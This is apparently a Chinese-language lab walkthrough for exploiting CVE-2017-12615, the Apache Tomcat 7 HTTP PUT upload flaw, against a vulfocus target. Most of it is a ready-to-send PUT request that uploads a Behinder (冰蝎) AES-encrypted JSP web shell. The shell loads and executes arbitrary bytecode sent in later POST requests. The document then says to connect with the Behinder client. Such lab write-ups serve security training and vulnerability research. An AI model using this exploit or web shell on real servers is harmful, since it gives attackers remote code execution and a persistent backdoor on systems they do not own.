Apache Tomcat 7.0.0到7.0.79版本中存在远程代码执行漏洞,当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法时,攻击者可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件,文件中的代码被服务器执行。
vulfocus CVE-2017-12615 Apache Tomcat >=7.0.0,<=7.0.79
1、启动靶机,访问页面如下。

2、抓包,修改http请求为put请求。
PUT /webshell.jsp/ HTTP/1.1
Host: 123.58.236.76:15781
Content-Length: 533
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

冰蝎连接:

参考:
https://github.com/vulhub/vulhub/blob/master/tomcat/CVE-2017-12615/README.zh-cn.md